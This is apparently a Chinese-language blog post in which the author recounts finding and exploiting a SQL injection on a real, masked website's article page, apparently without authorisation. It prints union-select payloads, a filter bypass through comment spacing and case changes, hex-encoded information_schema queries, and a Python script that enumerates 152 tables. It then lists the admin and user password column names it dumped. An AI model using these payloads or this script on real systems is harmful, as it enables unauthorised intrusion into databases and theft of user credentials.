发现注入点
不小心逛到了一个网站,看网址是古老的get传参,页面看着也不是cms,就用+1
-1
试了一下,结果返回了不同的页面,这说明我发现了一个经典的注入漏洞。
开始游戏
通过/**/or/**/1=2
试了一下返回正常页面,说明使用的mysql数据库
通过/**/order/**/by/**/10
找到了文章表的字段数为10
用/**/and/**/1=2/**/union/**/select/**/1,2,3,4,version(),user(),database(),8,9,10
返回了空
我把id后的数值写成了负数,再加上/**/union/**/select/**/1,2,3,4,version(),user(),database(),8,9,10
成功给出了数据库版本号,用户名,和数据库名三个信息
又试了一下,把and
的大小写换了一下,一开始不能用的链接又可以查出信息了,说明有简单的过滤,把and过滤掉了,但是没有考虑大小写的情况
下一步就是使用mysql5的特有库去爆出所有的表名。
爆库名表名列名
所有数据库/**/union/**/select/**/1,2,group_concat(SCHEMA_NAME),4,5,6,7,8,9,10 FROM information_schema.SCHEMATA
指定数据库的所有表/**/union/**/select/**/1,2,group_concat(TABLE_NAME),4,5,6,7,8,9,10/**/FROM/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x66617a6869
因为有一部分表名没显示出来,所以用limit语法配合python写了个小工具
import requests
import re
for i in range(1,160):
url = 'http://www.xxx.cn/article_show.jsp?f_article_id=1/**/union/**/select/**/1,2,TABLE_NAME,4,5,6,7,8,9,10%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA=0x66617a6869%20limit%20{},1'.format(i)
text = requests.get(url).text
result = re.findall('<div class="text-content">(.*?)</div>',text)
print(result[0])
一共搞出来152张表,命名很混乱,可能有历史数据
先来看一下t_admin
的列名和数据,由于不能使用单引号,所以把表名换成了16进制
union select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=0x745f61646d696e
得到列名:
id,UserName,PassWord,LoginNum,IsLock,RoleId,ModiTime
os_login_user
的列名:
os_login_user_id,user_name,user_password,LoginNum,IsLock,user_co,user_team,workjob,TeamAspect,name,Role_ID,tour_role,sale_role,user_role,company_type,mobile,tel,fax,email,msn,qqnum,last_ip,last_time,login_type,allot_order,result_order,transfer_order,order_search,edit_tourline_search,sale_tourline_search,extension,extension_pass,is_call,device,optional_order,locked_order,optional_order_num
但是没找到后台,就不了了之了